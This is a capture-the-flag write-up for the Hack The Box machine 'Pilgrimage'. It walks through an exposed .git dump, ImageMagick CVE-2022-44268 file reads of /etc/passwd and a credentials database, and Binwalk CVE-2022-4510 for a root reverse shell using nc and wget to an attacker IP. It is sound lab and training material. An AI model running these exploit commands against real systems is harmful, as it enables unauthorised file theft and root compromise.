Pilgrimage (HTB)

Platform: Hack The Box
OS: Linux
Difficulty: Easy
Result: root

---

Attack Chain

Reconnaissance
├── nmap -sC -sV -p- pilgrimage.htb → 22 (SSH), 80 (nginx)
└── /etc/hosts: 10.129.67.192 pilgrimage.htb

Foothold (Git Dump)
├── feroxbuster → exposed .git
├── git-dumper → recovering source code
├── index.php: exec("/var/www/pilgrimage.htb/magick convert ...")
└── APPIMAGE_EXTRACT_AND_RUN=1 ./magick --version → ImageMagick 7.1.0-49

ImageMagick CVE-2022-44268 (LFI)
├── cargo run "/etc/passwd" → image.png with embedded profile
├── Upload → shrunk/xxxxx.png
├── wget output.png → identify -verbose → hex
├── bytes.fromhex → /etc/passwd → emily
└── cargo run "/var/db/pilgrimage" → SQLite DB → emily:<PASSWORD>

User Flag
├── ssh emily@pilgrimage.htb
└── cat user.txt → <USER_FLAG>

Privilege Escalation (Binwalk CVE-2022-4510)
├── ps aux → /usr/sbin/malwarescan.sh (root)
├── cat malwarescan.sh → inotifywait + binwalk -e
├── binwalk --help → Binwalk v2.3.2
├── CVE-2022-4510: RCE
├── python3 binwalk232.py → binwalk_exploit.png
├── wget → shrunk/
└── root → cat /root/root.txt (<ROOT_FLAG>)

NOTE

All flags, passwords, hashes, and session tokens have been masked for ethical reasons.

---

Machine Briefing

A PHP web application using the AppImage magick (ImageMagick). Additionally - a root process malwarescan.sh with binwalk, monitoring the upload directory.

---

Reconnaissance

Port Scan

nmap -sC -sV -p- pilgrimage.htb

Port	Service	Version
22	SSH	OpenSSH
80	HTTP	nginx

echo "10.129.67.192    pilgrimage.htb" | sudo tee -a /etc/hosts

---

Foothold (Git Dump)

feroxbuster -u http://pilgrimage.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Exposed .git:

200 GET http://pilgrimage.htb/.git/HEAD
200 GET http://pilgrimage.htb/.git/config
200 GET http://pilgrimage.htb/.git/index

git clone https://github.com/arthaud/git-dumper
cd git-dumper
pip install -r requirements.txt --break-system-packages
python3 git_dumper.py http://pilgrimage.htb/.git/ ~/Desktop/pilgrimage-git

cd ~/Desktop/pilgrimage-git
git log --all
git show --all
grep -r "magick" *.php
# index.php: exec("/var/www/pilgrimage.htb/magick convert ...");

./magick --version
# dlopen(): error loading libfuse.so.2

APPIMAGE_EXTRACT_AND_RUN=1 ./magick --version
# Version: ImageMagick 7.1.0-49

CVE-2022-44268 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-44268)

ImageMagick 7.1.0-49 - Arbitrary File Read via image metadata (profile chunk).

---

Exploitation (ImageMagick LFI)

git clone https://git.rotfl.io/v/CVE-2022-44268
cd CVE-2022-44268
cargo build --release
cargo run "/etc/passwd"
# image.png

Upload via the form, get http://pilgrimage.htb/shrunk/xxxxx.png.

wget http://pilgrimage.htb/shrunk/xxxxx.png -O output.png
identify -verbose output.png

Hex between Raw profile type: and signature::

cat hex.txt | tr -d '\n' | python3 -c 'import sys; print(bytes.fromhex(sys.stdin.read()))'

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

Contents of /etc/passwd → user emily.

cargo run "/var/db/pilgrimage"
# new image.png → upload → hex → decode → pilgrimage.db

file pilgrimage.db
# SQLite 3.x database
sqlite3 pilgrimage.db
SELECT * FROM users;

emily | <PASSWORD>

ssh emily@pilgrimage.htb
# password: <PASSWORD>
cat user.txt
# <USER_FLAG>

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

---

Privilege Escalation

ps aux | grep malwarescan
# root /bin/bash /usr/sbin/malwarescan.sh

cat /usr/sbin/malwarescan.sh

#!/bin/bash
blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
 filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
 binout="$(/usr/local/bin/binwalk -e "$filename")"
 for banned in "${blacklist[@]}"; do
  if [[ "$binout" == *"$banned"* ]]; then
   /usr/bin/rm "$filename"
   break
  fi
 done
done

/usr/local/bin/binwalk --help
# Binwalk v2.3.2

CVE-2022-4510 (NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-4510)

Binwalk 2.3.2 - RCE via unsafe signature parsing during -e (extraction).

cd ~/Desktop/pilgrimage-git
curl https://www.exploit-db.com/raw/51249 -o binwalk232.py
convert -size 100x100 xc:red exploit.png
python3 binwalk232.py exploit.png 10.10.15.65 9001
# binwalk_exploit.png

python3 -m http.server 8000
nc -lvnp 9001

# on target
cd /var/www/pilgrimage.htb/shrunk
wget http://10.10.15.65:8000/binwalk_exploit.png

malwarescan.sh runs binwalk -e as root - the CVE triggers.

whoami
# root
pwd
# /root/quarantine
cd ..
ls
# quarantine  reset.sh  root.txt
cat root.txt
# <ROOT_FLAG>

IMPORTANT

OSCP report: take a screenshot of this step (command + output + timestamp).

---

Flags

Flag	Value
User	<USER_FLAG>
Root	<ROOT_FLAG>

---

Key Takeaways

• Exposed .git - a critical find; it provides source code and commit history.
• ImageMagick 7.1.0-49 (CVE-2022-44268) - Arbitrary File Read via metadata.
• SQLite database with plaintext passwords.
• A root process monitoring uploads - malwarescan.sh + vulnerable binwalk create a privesc vector.
• Binwalk 2.3.2 (CVE-2022-4510) - RCE via unsafe signature parsing during -e.